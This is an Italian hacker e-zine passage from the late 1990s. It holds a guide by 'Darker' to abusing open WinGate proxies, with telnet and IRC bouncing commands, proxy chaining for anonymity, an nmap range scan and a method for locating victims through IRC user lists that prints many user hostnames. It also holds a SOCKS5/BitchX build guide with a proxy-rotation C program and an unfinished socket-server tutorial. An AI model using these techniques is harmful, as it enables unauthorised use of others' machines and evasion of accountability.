L'utilita' di tale programma risiede nel fatto che piu' utenti possono
condividere cosi' una sola linea di connessione a Internet (per es. un solo
modem e una linea ISDN che servono 2 o piu' computer).
Per altre info su Wingate potete dare un'occhiata alla pagina www.wingate.com
NB. Wingate non e' l'unico programma che offra tali servizi e sicuramente non
e' uno dei migliori. Infatti ce n'e' per esempio un altro chiamato IShare, di
uso molto piu' semplice e intuitivo, reputato molto piu' valido di Wingate.
Forse varrebbe la pena di indagare anche su questo prog, di cui dispongo, per
verificare eventualmente la sua diffusione e le possibilita' di abuso (slurp!).
Chi fosse interessato me lo faccia sapere...
I pochissimi documenti riguardanti Wingate (ad esempio quello di Rhino9) sono
piuttosto vaghi ed imprecisi su quali e quanti services siano offerti dal gate,
in particolare sul default di un'installazione standard. Quello che e' sicuro
e' che:
1) e' sempre attivo il service telnet proxy sulla porta 23;
2) tutti i services attivabili NON hanno per default una protezione via
password;
3) il gate per default NON e' loggato.
Gran parte dei gates installati si limita a questo: solo il servizio telnet,
senza log e senza password. Il che e' certamente piu' che abbastanza!
Comunque i servizi attivabili a noi utili sono essenzialmente i seguenti:
- FTP proxy sulla porta 21
- Telnet proxy sulla porta 23
- Socks proxy sulla porta 1080
- IRC proxy sulla porta 6667
In questa prima parte supponiamo di avere gia' a disposizione l'indirizzo di un
wingate, trovato con le tecniche che saranno descritte piu' avanti. Esaminiamo
dunque i quattro servizi appena elencati e il loro utilizzo per i nostri fini :)
Comincio subito col dire che l'IRC proxy, quando attivo, e' di utilita' molto
limitata in quanto ridireziona il collegamento a un server irc gia' specificato
dal sysadm e non modificabile (dumb mode). Quindi o vi va bene quello oppure
nisba (uehhhh!).
L'FTP proxy comincia ad essere piu' interessante, ovviamente anche qui se e'
attivo.
Supponiamo che vogliamo stabilire una connessione ftp col sito ftp.mcafee.com
come user licensed e password 321 (funziona ancora? :). Ovviamente vogliamo
passare per il gate, in modo da fornire alla McAfee l'ip dello stesso e non il
nostro.
Bastera' stabilire una connessione ftp con il gate dando:
USER: licensed@ftp.mcafee.com
PASS: 321
e il gioco e' fatto. Il tutto molto semplicemente ed efficacemente.
Solitamente i piu' comuni client FTP sotto sistemi 95/NT (per tutti CuteFTP)
prevedono l'utilizzo di tali servizi proxy: bastera' quindi impostare l'opzione
relativa per rendere la cosa ancora piu' semplice e in tal caso bastera'
indicare al programma di connettersi all'ftp della McAfee. Al resto provvedera'
il client automaticamente.
Il Socks server e' sicuramente il service piu' oscuro di tutti e ovviamente il
piu' difficile da utilizzare, almeno se si vuole sfruttarlo al meglio delle sue
potenzialita'.
Io non sono un esperto di sockets, per cui lascio ad altri l'approfondimento di
tale argomento in relazione allo sfruttamento di tali server sotto sistemi unix:
l'argomento e' gia' stato iniziato nella sua genericita' su BFI2 e credo possa
agevolmente essere applicato ai socks servers. Magari qualcuno ne
intraprendera' la trattazione...
In questa sede bastera' solo dire che sotto 95/NT ci sono parecchi programmi
che sfruttano tra le modalita' avanzate l'utilizzo di socks servers
(solitamente sotto la voce firewall). Ecco alcuni esempi:
- Telnet
Supponiamo di voler aprire una sessione telnet con il supporto del socks
firewall sotto uno dei migliori client telnet, cioe' CRT. In tal caso
l'utilizzo e' piuttosto semplice e banale, ma ovviamente le cose sono piu'
complesse usando OS meno user friendly. In sostanza bastera' impostare
l'apposita voce delle opzioni con i dati (ip e porta) del nostro Wingate per
poterci quindi collegare con un target qualsiasi fornendogli l'ip del wingate
e non il nostro! E non e' tutto: l'uso del socks server puo' consentire
solitamente di passare attraverso firewalls!
- Irc
L'uso piu' classico del wingate: vogliamo stabilire una connessione IRC
utilizzando il piu' diffuso client, cioe' mIRC. Nulla di piu' semplice: come al
solito impostiamo i dati sotto l'opzione firewall e potremo chattare senza
problemi di ip sul net che piu' preferiamo. Attenzione pero' che alcuni comandi
irc potrebbero non funzionare (ad es. i trasferimenti dcc o il dcc chat);
questi inconvenienti sono eliminabili ricorrendo al servizio telnet proxy sulla
porta 23 del gate. Questo fatto, unitamente alla scarsita' di wingates con
socks server rispetto a quelli con telnet proxy, ha fatto si' che si
divulgassero quasi esclusivamente le tecniche di connessione via telnet,
dimenticando un po' i servizi socks.
Se poi volete curiosare anche nelle opzioni di rete del vostro browser vedrete
delle voci molto interessanti sotto le impostazioni manuali proxy. Provate a
smanettarci un po'...
Passiamo quindi al telnet proxy, vero cavallo di battaglia dei wingates.
Proviamo ad aprire una normale connessione telnet con il nostro wingate: toh,
un prompt!
Wingate>
A differenza degli altri servizi, il telnet proxy e' caratterizzato da tale
peculiarita' che consente un utilizzo piu' "interattivo" del servizio.
NB. Se telnettiamo sulle altre porte attive del wingate (21, 1080, 6667)
potremo stabilire una connessione, ma non avremo MAI un prompt.
Al prompt del gate potremo a questo punto digitare l'ip o l'host name dove
vogliamo aprire una connessione, seguiti dal numero della porta, e voila'...
fatto :]
Certe volte sara' necessario premere <CTRL><ENTER> dopo tali dati, altre volte
bastera' il solo invio: dipende dal client. Sotto linux non ci sono problemi,
sotto 95/NT il telnet built-in avra' bisogno del solo invio, il CRT per esempio
anche del control...
... vedete voi, basta provare.
Wingate>server.dafottere.com 23<ENTER>/<CRTL><ENTER>
Cosi' facendo ci telnetteremo sul server da fottere (siiiiii') facendo
comparire sui suoi log files l'ip dello sventurato wingate di turno :)
E' chiaro che se a sua volta il server wingate e' loggato, potremo essere
rintracciabili, ma se avremo l'avvertenza di entrare in almeno 3-4 gates in
sequenza, magari ricorsivamente, allora potremo essere sicuri al 100% sulla
nostra anonimita'.
Questa tecnica di wingate bouncing ha lo svantaggio, come d'altronde tutti i
bouncing, di rallentare ad ogni passaggio in piu' il collegamento, con
conseguente attesa dell'eco del terminale, possibili errori di digitazione,
risposta scattosa ai comandi, ecc.
Per non parlare della possibilita' che uno dei gates della catena vada
improvvisamente down con conseguente caduta del collegamento (magari in un
momento topico di hacking).
Comunque, restando ancora sul problema della sicurezza, abbiamo visto che per
default il logging NON e' attivo quindi se proprio un sysadm dovesse porre in
sicurezza un gate attiverebbe, assieme al logging, anche funzioni di firewall
filtering o di password, il che ci precluderebbe l'utilizzo del gate in toto.
In ogni caso meglio essere PARANOICI che farsi beccare come dei LAMERS (puah!).
E veniamo (finalmente) all'utilizzo piu' classico e piu' documentato dei server
wingate: il collegamento IRC. Abbiamo visto con che facilita' si possa
utilizzare la porta 1080 del gate per tale tipo di collegamento: adesso
prendiamo in considerazione la porta 23 del telnet proxy. Qui non occorre fare
differenziazioni tra client irc 95/NT e linux: infatti la tecnica e i comandi
saranno gli stessi, inseriti manualmente (o con script) all'avvio del client
irc.
E' chiaro che prima di tutto occorrera' aprire una connessione con il wingate:
/server wingateserver 23.
A questo punto il client, credendo di avere a che fare con un server irc
iniziera' a negoziare un collegamento di questo tipo; ma dall'altra parte c'e'
un wingate che rispondera' con il suo prompt, ma che restera' impassibile alle
richieste del nostro client (a lui incomprensibili). Vedrete dunque comparire
sul vostro terminale il prompt del wingate preceduto e seguito da messaggi di
errore, caratteri vari, ecc. che ignorerete del tutto :P
Ricordando che dall'altra parte abbiamo comunque un server e che gli occorre
semplicemente un indirizzo e una porta, bastera' utilizzare il comando
/quote irc.server.net 6667 (o altra porta)
per comunicare al wingate dove andare a sbattere la testa.
Se aspettiamo qualche secondo vedremo allora comparire il messaggio CONNECTED
e a questo punto siamo collegati con l'irc.server.net (ahhhh,
rilassamento generale).
Un momento, siamo a meta' dell'opera... Ora bisognera' entrare a far parte
della folta schiera di utenti di quel server. Solitamente a questo punto e' il
client irc che fa tutto da solo, indicando l'username, il nickname, il realname
e quant'altro abbisogna l'irc-server per permettere l'entrata al net. Qui
dovremo farlo noi.
Secondo le specifiche standard occorrera' fornire i dati sull'utente (realname,
username, hostname e servername) nonche' il nickname, separatamente (chi
volesse puo' andarsi a vedere la relativa rfc per qualcosa di piu' tecnico, si
tratta della 1459).
Il che si traduce nei seguenti due comandi:
/quote nick <nickname>
/quote user <username> <hostname> <servername> <realname>
Se il realname contiene spazi allora sara' meglio farlo precedere da ":" in
modo da essere sicuri del corretto riconoscimento da parte del server irc. Da
notare che i dati relativi all'hostname e servername sono normalmente ignorati
dall'irc server.
Se viene richiesta una identificazione via client (mai successo...) occorrera'
dare anche il seguente comando (ripetuto alcune volte):
/quote ident <username>:<username>
Il che non vuol dire che l'irc server non faccia le verifiche di routine
(nslookup, reverse nslookup e ident check) producendo inevitabilmente un ident
check fallito evidenziato dai simboli ~ o - davanti all'username (chiamare un
/whois per verificare); infatti la richiesta di identificazione verra'
inoltrata all'ip del wingate.
Il tutto supponendo che non occorra una password per l'ingresso al net (in tal
caso occorrera' inviare anche il comando /quote pass <password>).
La sequenza esatta dei comandi e' la seguente:
1. PASS command
2. NICK command
3. USER command
Ricapitolando, vediamo i comandi che darei io per collegarmi a irc.stealth.net
alla porta stardard 6667 attraverso il wingate 24.3.35.65:
/server 24.3.35.65 23 (aspettare il Wingate>)
/quote irc.stealth.net 6667 (aspettare il Connected)
/quote nick Darker
/quote user Darker Darkreign Darkreign :Fatti gli affari tuoi!
e sono dentro.
NB. Con questa tecnica sono disponibili TUTTI i comandi IRC, compresi
trasferimenti dcc, chat, ecc. che erano preclusi o impediti collegandosi
attraverso il socks server.
A questo punto le comuni papers farebbero un gran blabla su come porre in
sicurezza il gate suggerendo di fare questo, quello e quell'altro, ma siccome
- come avrete visto - non ho messo alcun disclaimer all'inizio dell'articolo,
vi diro' la verita': non parlo di questo perche' non mi interessa e se qualche
pirla di sysadm idiota sta leggendo questo foglio faccia un bel print, lo
appallottoli e se lo schiaffi dove dico io!
OK, ora andiamo avanti...
Non resta che parlare dei metodi per trovare questi fantomatici wingates.
Scommetto che ora tutti direte "ehi, io ho uno scanner per wingate" oppure "io
ho il modem che li sniffa" o anche "winzoz me il trova in backgroung e quindi
mi fa una pernacchia sul systray": a parte gli scherzi, di solito i metodi di
ricerca dei gates sono lunghi e noiosi. Essenzialmente si prende un domscanner
e lo si mette alla ricerca su un intero dominio o su una sua parte (C class o
B class) o cose molto simili (script, proggie ad hoc, ecc), ma che in sostanza
fanno la stessa cosa. Poi si prende il risultato e si passa al setaccio
telnettando. Vediamo un esempio:
- prendiamo un iprange di dominio tipo 24.3.X.X
- prendiamo un domscanner o portscanner (ostronet, domscan, nmap o altri)
- scanniamo tutto o parte del dominio cercando sulla porta 23 o 1080: esempio:
nmap -Up 23,1080 24.3.0.0/16 (stealth scan class B)
- prendiamo il file di output e verifichiamo singolarmente gli ip
Una cosa del genere puo' prendere ore ed ore e magari alla fine troviamo un
paio di wingates oppure addirittura nessuno!
Vediamo allora come ridurre il lavoro: prima di tutto bisogna sapere che i
domini sui quali e' piu' facile trovare wingates sono quelli delle compagnie
che offrono servizi telematici domestici via cavo, con velocita' di
trasferimento in rete anche di 100 volte superiori a quelli dei normali modem.
E' chiaro che tali utenti, avendo una cosi' larga banda, condividano i servizi
con altri e installino dunque wingates.
Bastera' dunque sapere i nomi di alcune di queste compagnie per avere un primo
indizio su quali domini indagare. Vi do' qualche suggerimento: potete cercare
su:
home.com
mediaone.net
v-wave.com
videotron.net
tvd.be
jps.net
(non sono tutte cable modem co.), ma la lista non finisce qui... cercate!
Sappiamo che i gates sono molto utilizzati per irc, allora perche' non vedere
sui principali net se vi sono utenti di queste compagnie collegati? Entriamo
per esempio su Undernet e chiediamo al server una lista di tutti gli utenti
collegati da home.com .
Bastera' dare il comando ... (compito a casa :) per avere una lista di questo
tipo:
* cr219197 H crazy@cr219197-a.cambr1.on.wave.home.com :4 cr219197
* CC100484 H CC1004840-@cc1004840-a.strhg1.mi.home.com :5 CC100484
#alice's_restaurant Zaphs H zaphs@cx44366-a.mrdn1.ct.home.com :3 *0*0*
* cc725627 H cc725627-c@cc725627-c.essx1.md.home.com :4 cc725627
#dreamwarez2 Defsnooze H@ Party@cx37606-a.elcjn1.sdca.home.com :3 Nunya
#100%preteengirlsexpics Jane18 H ~Am@cx578727-a.dnpt1.occa.home.com :3 Jan
#1stwarez tornado99 H tornado_ra@cr113828-a.wlfdle1.on.wave.home.com :3 tornado
* SnYp H radwulf@cx80425-a.pwy1.sdca.home.com :3 snypin
#hackschool Codemage H@ master@cx617799-b.omhaw1.ne.home.com :5 Matt
#asian JoHn|AwAy H WArREnZ@cr990019-a.crdva1.bc.wave.home.com :3 Warren G
* puzzled G puzzled@cx54647-a.omhaw1.ne.home.com :3 puzzled
#playstation LStranger H BIGGS@c1004788-a.ptlum1.sfba.home.com :5 Lone Stranger
* TRBLSleep H ~Double@cr317624-a.lndn1.on.wave.home.com :6 Herecomes Trouble
#midiwarez rEvII_awy H@ rev@cc498352-a.flrtn1.occa.home.com :3 rev
#windowsNT Hexadec G@ ~hexadec@cx50809-a.alsv1.occa.home.com :4 NT...It gets the red out
#crackpipe CastSleep H@ minx@cx71328-a.pwy1.sdca.home.com :3 Caster Troy
#mp3lovers JeepGuy H@ money@cs305041-a.cgmo1.ab.wave.home.com :5 you're a dirty slut
#35Plus XsisBrat H@ xisis@ci75554-a.nash1.tn.home.com :3 xisis
#FunWaReZ WiseOld1 H@ ~AntiScrip@cx135571-a.elcjn1.sdca.home.com :4 Rondi Vuello
#warez98 Bug_ZzZz H+ ~joe@cx32600-a.msnv1.occa.home.com :3 joe
Sappiamo inoltre che solo gli utenti autorizzati all'uso del gate hanno
l'identificazione, per cui quelli che non ce l'hanno (simbolo ~ o - davanti
all'username) sono dei potenziali abusivi: cioe' quello che stavamo cercando...
In sostanza si opera uno scan su tutti gli utenti della lista (telnettando
sulla 23 o 1080 del relativo hostname) oppure, se ci si vuole proprio sbrigare,
soltanto su quelli non identificati e cioe':
#100%preteengirlsexpics Jane18 H ~Am@cx578727-a.dnpt1.occa.home.com :3 Jan
* TRBLSleep H ~Double@cr317624-a.lndn1.on.wave.home.com :6 Herecomes Trouble
#windowsNT Hexadec G@ ~hexadec@cx50809-a.alsv1.occa.home.com :4 NT...It gets the red out
#FunWaReZ WiseOld1 H@ ~AntiScrip@cx135571-a.elcjn1.sdca.home.com :4 Rondi Vuello
#warez98 Bug_ZzZz H+ ~joe@cx32600-a.msnv1.occa.home.com :3 joe
Ovviamente utenti su canali warez, xxx, hacker e simili hanno piu' probabilita'
di essere connessi a un wingate che altri; direi per esempio che il quinto user
della lista e' quello piu' probabilmente attaccato a un gate (vado a naso...
provate. :)
Se non trovate niente per home.com passate a un altro dominio e cosi' via: alla
fine vi assicuro che otterrete risultati MOLTO migliori di quelli che
otterreste con uno scanning indiscriminato. Ovviamente potete provare su piu'
Net irc.
Se siete pratici di irc e non frequentate sempre i soliti canali, allora
conoscerete forse qualcuno di questi che bandisce i wingates. A questo punto
bastera' entrarvi dal vostro ip normale e prelevare con nonchalance la banlist
per avere una miniera di wingates, soprattutto se il canale e' molto
frequentato (sara' per questo motivo che ormai quasi nessun canale bandisce
piu' i wingates? mah...).
Con questa tecnica potrete trovare soprattutto wingates cosiddetti statici,
cioe' fissi su uno stesso ip (pur andando up and down a caso); si potrebbero
cercare anche wingates dinamici, cioe' che variano continuamente di ip (perche'
l'utente e' un ISP user ed e' connesso al net dinamicamente). Secondo me non
vale neppure la pena di cercarli, sapendo che il giorno dopo o qualche ora dopo
saranno svaniti nel nulla. Chiaro che se l'ISP e' piccolo e l'utente
affezionato, il tutto potrebbe esserci utile. PROVATE!
Come altri hanno detto prima di me, ci vuole soprattutto fantasia.
Ok, ragazzi, credo di aver finito (ufff che fatica!). Penso che questa sia una
buona base per iniziare a indagare piu' a fondo su alcuni aspetti
dell'argomento, che promettono veramente bene :] lavorateci sopra e...
have phun!
Tenete comunque bene a mente che nuke is lame! Alla prossima.
Darker
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ S0CKS WiTH áiTCHX H0W T0 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
SOCKS che passione!!
Introduzione
~~~~~~~~~~~~
Non so se ci avete fatto caso, ma l'ultima moda su IRC e' quella di apparire
"dietro" un firewall... Chi usa Windows col mIrc non ha grossi problemi,
avendo un supporto diretto per i SOCKS... almeno a prima vista tale supporto
non e' fornito nei client irc per linux. Possibile che il linux non possa usare
i SOCKS!? No, anzi... una volta impostati correttamente si possono usare in
maniera molto piu' produttiva. In questo articolo mi limitero' a parlavi di
come usare i SOCKS in ambito IRC.
1. Cos'e' un firewall SOCKS
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sebbene l'uso di tutte le caratteristiche di questi firewall sia molto
complesso, l'utilizzo nell'ambito IRC e' identico a quello di un proxy.
Il problema principale e' quello di adattare il programma (nel nostro caso il
BitchX) a comunicare tramite il protocollo descritto nella rfc 1928. Come
vedremo il tutto si riduce a ricompilare il BitchX con le opportune librerie.
2. I file necessari
~~~~~~~~~~~~~~~~~~~
Come prima cosa e' necessario procurarsi il SOCKS5Toolkit fornito dalla NEC
nel sito www.socks.nec.com: il file da scaricare e'
socks5-v1.0r5.tar.gz
Chiaramente sono necessari anche i sorgenti del BitchX: li potete scaricare
via ftp da ftp.bitchx.org: il file da scaricare e'
ircii-pana-74p4.tar.gz
al momento in cui leggete dovrebbe essere uscita la versione 75, ma il
procedimento da usare e' sostanzialmente lo stesso.
Ok, avete tutto il necessario. De-tarrate i file con i classici comandi:
tar xvfz socks5-v1.0r5.tar.gz
tar xvfz ircii-pana-74p4.tar.gz
otterrete le directory socks5-v1.0r5 e BitchX.
3. Installare il supporto per i SOCKS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bene, nella dir socks5-v1.0r5 saranno installati i sorgenti di un server
SOCKS 5, delle librerie, dei file include e di una serie di client...
dateci un'occhiata... sono molto utili ;)
Entriamo nella dir e come prima cosa facciamo creare i makefile adeguati al
nostro computer:
./configure
dopodiche' dobbiamo compilare esclusivamente quello che serve per utilizzare
i client (in altri termini evitiamo di compilare il server).
Portiamoci nella dir socks5-v1.0r5/lib e impartiamo i comandi
make install
make util.install
andiamo in socks5-v1.0r5/include e digitiamo
make install
In questo modo abbiamo compilato le librerie e installato i file include.
4. Includere in BitchX il supporto per i SOCKS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Il supporto ai SOCKS e' previsto nei sorgenti del BitchX. L'unico problema che
si puo' incontrare e' che il nome della libreria prevista dal configure del
BitchX e' socks mentre quella da noi installata e' socks5. In questo articolo
procederemo alla modifica diretta di un paio di file per il supporto ai socks.
Andiamo nella directory dei sorgenti BitchX e impartiamo il solito
./configure
entriamo nella dir BitchX/include e editiamo il file defs.h; alla riga 141
troveremo:
/* #undef SOCKS */
che va cambiata in
#define SOCKS
salviamo defs.h, torniamo nella directory BitchX e editiamo il file Makefile;
la linea 35 va cambiata da
LIBS = -lncurses -lm -ldl
a
LIBS = -lncurses -lsocks5 -lm -ldl
Adesso e' tutto pronto... possiamo compilare il BitchX con un bel
make
non badate alla serie di warning che il compilatore vi sforna... alla fine
della compilazione potete usare ancora il make per installare il BitchX
nelle directory migliori come indicato nel file BitchX/INSTALLATION
5. Quale server utilizziamo??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bene, abbiamo quasi finito... bisogna indicare quale server SOCKS utilizzare
nel file /etc/libsocks5.conf. Per esempio, se vogliamo collegarci tramite
intra.ccbe.org troviamo il suo ip numerico tramite un nslookup e scriviamo
nel file:
socks5 - - - - 194.119.249.7
a questo punto possiamo avviare BitchX con la solita sintassi, collegandoci
al server irc prescelto tramite il SOCKS!! :DD
Un buon metodo per mantenere piu' firewall nel file e' quello di commentare
le varie linee con un # iniziale e decommentarle a seconda del server che si
vuole utilizzare. Ecco un programma in C scritto da Sorbo per autoconfigurare
libsocks5.conf:
------------------------------- CUT HERE ---------------------------------
#include <stdio.h>
#include <stdlib.h>
char *line[100];
FILE *f;
int lastIndex = 0;
int maxlen = 1000000;
void delSquare() {
int pos;
char*token;
srand(time(0));
pos = rand()%lastIndex;
token = strtok(line[pos],"#");
strcpy(line[pos],token);
printf("%s\n",line[pos]);
}
void wrtFile() {
char *buff = malloc(maxlen +3);
int i = 1;
if((f = fopen("/etc/libsocks5.conf","w"))==NULL) {
printf("Unable to open /etc/libsocks5.conf for writing\n");
return;
}
strcpy(buff,line[0]);
strcat(buff,"\n");
for(i = 1; i < lastIndex; i++) {
strcat(buff,line[i]);
strcat(buff,"\n");
}
fwrite(buff,strlen(buff),1,f);
fclose(f);
free(buff);
}
void findLastIndex() {
int i = 0;
for(i = 0; i > -1; i++) {
if(line[i]==NULL) {
lastIndex = i;
return;
}
}
}
void putSquare() {
int i = 0;
for(i = 0; i<lastIndex;i++) {
if(line[i][0]!= '#') {
char tmp[255] = "#";
strcat(tmp,line[i]);
strcpy(line[i],tmp);
}
}
}
void main() {
char *token;
char *buff;
int curPos = 0;
if((f = fopen("/etc/libsocks5.conf","r"))==NULL) {
printf("Unable to open /etc/libsocks5.conf for reading\n");
return;
}
buff = (char*) malloc(maxlen +2);
fread(buff,maxlen,1,f);
fclose(f);
token = strtok(buff,"\n");
while(token != NULL) {
line[curPos] = (char*) malloc(strlen(token)+3);
strcpy(line[curPos],token);
curPos ++;
token = strtok(NULL,"\n");
}
findLastIndex();
putSquare();
delSquare();
wrtFile();
free(buff);
}
------------------------------ CUT HERE ------------------------------
Il funzionamento e' molto semplice: dopo aver inserito una lista di
SOCKS nel libsocks5.conf come segue
#socks5 - - - - ipdelsocks1
#socks5 - - - - ipdelsocks2
...
#socks5 - - - - ipdelsocksn
il programma provvede a decommentare una linea a caso, dopo aver
commentato la linea decommentata nelle precedente esecuzione.
Per finire vi consiglio caldamente una lettura della man page di
libsocks5.conf : e' possibile usare anche i server SOCKS4, si possono
specificare i pool di indirizzi per i quali usare i socks...
Con questo e' tutto... un saluto a Nervous che ha avuto la pazienza di
mettersi a testare quello che e' scritto in questo articolo.
L0rdFelix
Sorbo
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ GUiDA ALL'US0 DEi S0CKET: iL SERVER ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍͼ
Sommario
~~~~~~~~~
0.0 Precisazioni
1.0 Il funzionamento di un server
2.0 Inizializzazione del server
2.1 bind()
2.2 listen()
2.3 Un esempio di inizializzazione
3.0 Accettare le connessioni
4.0 Un po' di multithreading
5.0 Gestione estesa degli errori
6.0 Conclusioni
0.0 Precisazioni
~~~~~~~~~~~~~~~~
Prima di cominciare a parlare di come progettare un server mediante
l'uso dei socket voglio fare alcune precisazioni sull'articolo dello
scorso numero.
Mi hanno fatto notare che l'impaginazione era da schifo... ed in effetti
fa *proprio* schifo... speriamo che questa vi piaccia! :D
Altre questioni hanno riguardato il porting su windows dei concetti proposti.
In effetti per l'uso delle funzioni "standard" non c'e' alcun problema mentre
per i raw socket il problema risiede nel modulo di gestione del tcp/ip di
winzozz (non posso farci niente...). Comunque almeno il porting del mini-bot
della volta scorsa potete farlo al volo usando la versione win32 del GNU C++
curata da Cygnus (al momento in cui scrivo siamo alla versione beta 19).
Maggiori info su www.cygnus.com . Alcune persone avrebbero voluto maggiori
ragguagli sulla sintassi del linguaggio C... capirete che non posso fare un
corso di C... il mio obiettivo e' quello di illustrare l'uso dei socket a chi
gia' conosce il linguaggio...
1.0 Il funzionamento di un server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ok, possiamo iniziare... siete pronti?? Siete caldi?? NO!? Portatevi le maglie
di lana!! :DD (c) Tony Tammaro
Vediamo a grandi linee su quale algoritmo e' basato il funzionamento di un
server:
1) Attendi una connessione
2) Accetta la connessione
3) Duplica il processo... uno continuera' nella gestione della
connessione (punto 4) e l'altro ripartira' dal punto 1
4) Analizza le richieste del client
5) Elabora le richieste
6) Invia i risultati al client
7) Se ci sono altre richieste vai al punto 4
8) Termina il processo
L'intero algoritmo ricalca la filosofia client-server descritta lo scorso
numero. L'unico punto delicato e' il punto 3. Un server che si rispetti deve
accettare anche piu' di una connessione: per far questo, in linea di principio,
una parte del programma deve essere perennemente in grado di accettare nuove
connessioni mentre un'altra elabora le richieste provenienti dal client. Nel
seguito analizzeremo brevemente anche la gestione dei processi sotto Linux.
2.0 Inizializzazione del server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
La prima cosa da fare prima di accettare una connessione e' creare un socket
mediante la ben nota funzione socket() vista lo scorso numero.
Questo socket verra' utilizzato come "punto di partenza" per la connessione
vera e propria con i client, che, come vedremo, necessita di tanti socket
quanti sono i client collegati. In questo articolo ci limiteremo a considerare
il caso piu' frequente dei socket SOCK_STREAM, cioe' quelli utilizzati nelle
connessioni tcp.
2.1 bind()
~~~~~~~~~~
A differenza dei socket usati dai client, quelli per i server devono essere
in qualche modo informati su quale porta usare per mettersi in ascolto delle
connessioni: un server FTP utilizzera' la porta 21, uno HTTP la 80 e cosi'
via. Bind() serve proprio a specificare le "caratteristiche" del socket:
int bind(int s, struct sockaddr *address, int addrlen)
s: socket al quale stiamo assegnando un indirizzo locale;
address: puntatore alla struttura sockaddr contenente i parametri del socket;
addrlen: lunghezza della struttura.
Come visto la volta scorsa la sockaddr e' una struttura generica che va
"particolarizzata" per l'uso con i socket AF_INET mediante un opportuno
typecasting con la struttura sockaddr_in.
2.2 listen()
~~~~~~~~~~~~
Successivamente e' necessario indicare quante connessioni contemporanee possano
essere accettate dal socket. La funzione preposta e':
int listen(int s, int maxcon)
s: socket usato per accettare le connessioni
maxcon: numero massimo di connessioni contemporanee
e' chiaro che maxcon va dosato valutando quale sara' il traffico effettivo che
si stabilira' sul server e quale tasso di sovraccarico del sistema siamo
disposti a sopportare. Molti sistemi limitano il valore massimo di maxconn a
128.
2.3 Un esempio di inizializzazione
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vediamo ora un piccolo esempio d'uso delle due funzioni viste in precedenza:
int establish(unsigned short portnum)
{ char myname[MAXHOSTNAME+1];
int s;
struct sockaddr_in sa;
struct hostent *hp;
memset(&sa, 0, sizeof(struct sockaddr_in));
gethostname(myname, MAXHOSTNAME); /* preleva il nome del nostro host */
hp = gethostbyname(myname); /* ed il suo indirizzo */
if (hp == NULL)
return(-1);
sa.sin_family= hp->h_addrtype; /* riempie la struttura sockaddr_in */
sa.sin_port= htons(portnum); /* per l'uso con la bind() */
if ((s= socket(AF_INET, SOCK_STREAM, 0)) < 0) /* crea il socket */
return(-1);
if (bind(s,(struct sockaddr *)&sa,sizeof(struct sockaddr_in)) < 0) {
close(s);
return(-1); /* associa l'indirizzo al socket */
}
listen(s, 3); /* numero massimo di connessioni */
return(s);
}
ho commentato abbondantemente il codice, non e' difficile seguirlo. L'unico
parametro in ingresso alla funzione estabilish() e' la porta sulla quale
vogliamo che il server accetti le connessioni. Come potete vedere dal codice
anche bind() e accept() ritornano il valore -1 se qualcosa va storto.
3.0 Accettare le connessioni
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bene, a questo punto disponiamo di un socket pronto a ricevere le "chiamate".
Dobbiamo ora intercettare queste chiamate e aprire un nuovo socket per ogni
client che richiede la connessione. Questo compito e' svolto dalla funzione
accept():
int accept (int s, struct sockaddr *address, int *addrlen)
s: socket in ascolto;
address: struttura sockaddr riempita dalla accept() e che contiene
l'indirizzo del chiamante;
addrlen: lunghezza della struttura address.
Il valore di ritono della accept() e' molto importante: esso e' un nuovo socket
collegato con il client e tramite il quale e' possibile effettuare la
comunicazione vera e propria.
Informazioni sull'indirizzo del client possono essere trovate ispezionando con
le solite modalita' la struttura address. Se non siamo interessati ai
parametri del client possiamo utilizzare la seguente funzione
int get_connection(int s)
{
int t;
if ((t = accept(s,NULL,NULL)) < 0)
return(-1);
return(t);
}
Come potete osservare, l'uso dei puntatori NULL pregiudica il recupero delle
informazioni sul client.
4.0 Un po' di multithreading
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Normalmente la funzione accept() e' una funzione "bloccante" ovvero una volta
chiamata cede il controllo al programma solo quando un client cerca di
collegarsi al server. Questo non e' un problema reale, perche' la gestione dei
client avviene mediante il multithreading.
La funzione piu' usata in questo ambito e' la fork(). Essa consente di
"duplicare" il processo che si sta eseguendo: otteniamo cosi' un processo
"padre" e uno "figlio" che possono eseguire operazioni diverse a seconda
del valore ritornato dalla fork().
pid_t fork(void)
La funzione ritorna nel processo padre il PID del processo figlio mentre nel
processo figlio ritornera' il valore 0; se c'e' qualche eccezione fork ritorna
-1 nel processo padre. A questo punto possiamo essere piu' precisi sul punto 3
dell'algoritmo nel paragrafo 1.0. In linea di principio il programma server
evolve secondo le seguenti chiamate:
s = socket(...);
bind(s, ...);
listen(s, ...);
for (;;) {
sc = accept(s, ...);
if (fork()==0)
GestisciRichieste();
}
la funzione GestisciRichieste e' quella che comunica col client utilizzando le
funzioni read e write sul socket sc oppure sfruttando lo streaming come visto
nel bot della volta scorsa.
Non dimenticate di inserire negli #include il file unistd.h necessario per
usare la fork().
I vari processi creati in questa maniera possono comunicare tra di loro o con
il processo padre tramite un certo numero di tecniche: si possono utilizzare
socket AF_UNIX, creare code di messaggi, utilizzare semafori e memoria
